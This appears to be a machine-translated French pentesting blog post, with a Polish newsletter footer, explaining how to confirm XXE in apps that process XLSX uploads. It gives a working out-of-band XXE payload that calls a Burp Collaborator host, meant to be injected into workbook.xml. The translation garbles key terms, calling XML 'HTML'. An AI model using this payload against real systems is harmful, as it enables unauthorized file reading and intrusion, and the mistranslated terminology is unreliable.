Exploitation XXE par feuille de calcul . XLSX XLSX

La vulnérabilité de l’entité externe HTML (XXE) réside dans le fait que la définition de ses propres entités HTML est autorisée lors de l’éparpillement d’une structure de document HTML appelée Document Type Definition (DTD). Selon le moteur de traitement HTML du côté serveur et la configuration de l’environnement, il est possible d’utiliser diversement ce type de vulnérabilité. En commençant par la liste des répertoires sur le système, en lisant les fichiers d’application et de système, en acquérant le mot de passe crypté de l’utilisateur de l’application, en transférant des fichiers sur le serveur ou en exécutant des commandes système.

Un scénario classique de ce type de vulnérabilité suppose qu’il s’agit d’une demande contenant dans son corps HTML, à laquelle nous assumons la partie responsable, des définitions de sa propre entité. Cette vulnérabilité, cependant, peut également se produire lorsque nous avons affaire à une application qui traite en quelque sorte les fichiers Excel . XLSX , Word . DOCX ou PowerPoint . PPTX. Nous devons que ce type de fichiers conformes à la norme OCV soit donc simplement plusieurs fichiers emballés. HTML.

Le scénario d’attaque rapide est le suivant :

  1. Créez un nouveau document vierge . XLSX. Il peut utiliser « Google Sheet » pour cela.
feuille Google

2. Ouvrez Burp Suite Professional -> Burp -> Burp Collaborator Client . Ensuite, cliquez sur le bouton « Copy to clipboard ». Dans mon cas, l’adresse du serveur était la suivante – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.

Alternativement, si vous avez un externe IP, vous pouvez utiliser un serveur HTTP simple dans python – « python3 -m http.server 8080 ».

3. Ouvrez le fichier téléchargé avec 7zip.a.

édition xlxs

3. Modifiez le fichier « workbook.xml » dans le répertoire « xl », en ajoutant le code ci-dessous (en échangeant bien sûr l’adresse du serveur par votre propre) :

<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>

REMARQUE: dans l’une des applications que j’ai testées, la vulnérabilité XXE s’est révélée après avoir modifié « [Content_Types].xml », il vaut donc la peine de vérifier et ce fichier.

édition workbook.xml
édition workbook.xml

4. Enregistrez les modifications et téléchargez le fichier dans l’application testée.

5. Maintenant, vérifiez le client Collaborator s’il contient des demandes:

rot collaborateur client

6. Profitez de 🙂 – vous venez de confirmer la vulnérabilité du XXE dans votre application testée et vous pouvez continuer à l’utiliser.

La protection contre le XXE est la désactivation totale du chargement des entités externes dans l’électronique HTML.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Pour marque-pages : Permaliens.

Podziel się swoją opinią na temat artykułu